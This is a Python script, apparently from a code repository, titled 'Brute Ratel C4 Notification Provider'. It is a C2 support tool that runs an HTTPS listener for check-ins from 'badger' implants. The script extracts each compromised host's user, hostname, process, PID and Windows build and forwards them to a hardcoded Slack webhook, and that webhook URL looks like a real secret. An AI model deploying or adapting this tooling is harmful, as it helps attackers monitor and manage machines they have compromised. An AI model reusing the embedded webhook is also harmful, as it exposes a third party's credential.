109 lines
4.3 KiB
Python
109 lines
4.3 KiB
Python
#!/usr/bin/python3
|
|
|
|
# In order for this script to run successfully, the operator needs to
|
|
# update the slackWebHook variable with their own webhook generated
|
|
# from slack. This can be generated by Creating a channel, an app and
|
|
# then enabling Incoming Webhooks within the Slack App. Once the
|
|
# webhook is enabled, it will return a URL which needs to be added in
|
|
# the slackWebHook variable below
|
|
|
|
import sys
|
|
from datetime import datetime
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
import ssl
|
|
import json
|
|
import threading
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
info = """
|
|
Brute Ratel C4 Notification Provider
|
|
Author : Paranoid Ninja
|
|
"""
|
|
|
|
usage = """
|
|
Usage : badgerNotifier.py slack <certfile> <keyfile>
|
|
Eg. : badgerNotifier.py slack /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem
|
|
"""
|
|
|
|
LHOST = "0.0.0.0"
|
|
LPORT = 8080
|
|
slackWebHookUrl = "https://hooks.slack.com/services/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"
|
|
|
|
class NotificationHandler(BaseHTTPRequestHandler):
|
|
def _set_headers(self):
|
|
self.send_response(200)
|
|
self.send_header("Content-type", "text/html")
|
|
self.end_headers()
|
|
|
|
def _html(self, message):
|
|
content = f"{message}"
|
|
return content.encode("utf8")
|
|
|
|
def do_GET(self):
|
|
self._set_headers()
|
|
self.wfile.write(self._html("404 Not Found"))
|
|
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
|
print("[" + currtime + "] GET request from " + self.address_string())
|
|
for x, y in self.headers.items():
|
|
print(" - ", x, ": ", y )
|
|
print("------------------------------------------------------------")
|
|
|
|
def do_HEAD(self):
|
|
self._set_headers()
|
|
self.wfile.write(self._html("404 Not Found"))
|
|
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
|
print("[" + currtime + "] HEAD request from " + self.address_string())
|
|
for x, y in self.headers.items():
|
|
print(" - ", x, ": ", y )
|
|
print("------------------------------------------------------------")
|
|
|
|
def do_POST(self):
|
|
try:
|
|
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0')
|
|
jdata = json.loads(postData)
|
|
# print(jdata)
|
|
if "badger" in jdata:
|
|
b_id = jdata["badger"]
|
|
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
|
print(f"[+] {currtime} " + b_id + " checked in")
|
|
if "badger_config" in jdata:
|
|
b_uid = jdata["badger_config"]["b_uid"]
|
|
b_h_name = jdata["badger_config"]["b_h_name"]
|
|
b_p_name = jdata["badger_config"]["b_p_name"]
|
|
b_pid = jdata["badger_config"]["b_pid"]
|
|
b_winver = jdata["badger_config"]["b_wver"]
|
|
b_bld = jdata["badger_config"]["b_bld"]
|
|
finalMsg = "Badger *" + b_id + "* checked in as user *" + b_uid + "* from host *" + b_h_name + "* spawned under process *" + b_pid + "::" + b_p_name + "* on Windows " + b_winver + " Build " + b_bld
|
|
# print(finalMsg)
|
|
self._set_headers()
|
|
self.wfile.write(self._html(""))
|
|
try:
|
|
requests.post(slackWebHookUrl, json={'text':finalMsg}, verify=False, headers={'Content-type': 'application/json'})
|
|
except Exception as ex:
|
|
print("[!] Exception:", ex)
|
|
|
|
except Exception as ex:
|
|
print("[-] Exception:", ex)
|
|
|
|
def log_message(self, format, *args):
|
|
return
|
|
|
|
def main():
|
|
print(info)
|
|
if (len(sys.argv) < 3):
|
|
print(usage)
|
|
return
|
|
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
|
print(f"[+] {currtime} Starting Badger Notification Handler for %s => {LHOST}:{LPORT}" % sys.argv[1])
|
|
server = HTTPServer((LHOST, LPORT), NotificationHandler)
|
|
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[2], keyfile=sys.argv[3], server_side=True)
|
|
thread = threading.Thread(None, server.serve_forever)
|
|
thread.daemon = True
|
|
thread.start()
|
|
thread.join()
|
|
|
|
if __name__ == "__main__":
|
|
main()
|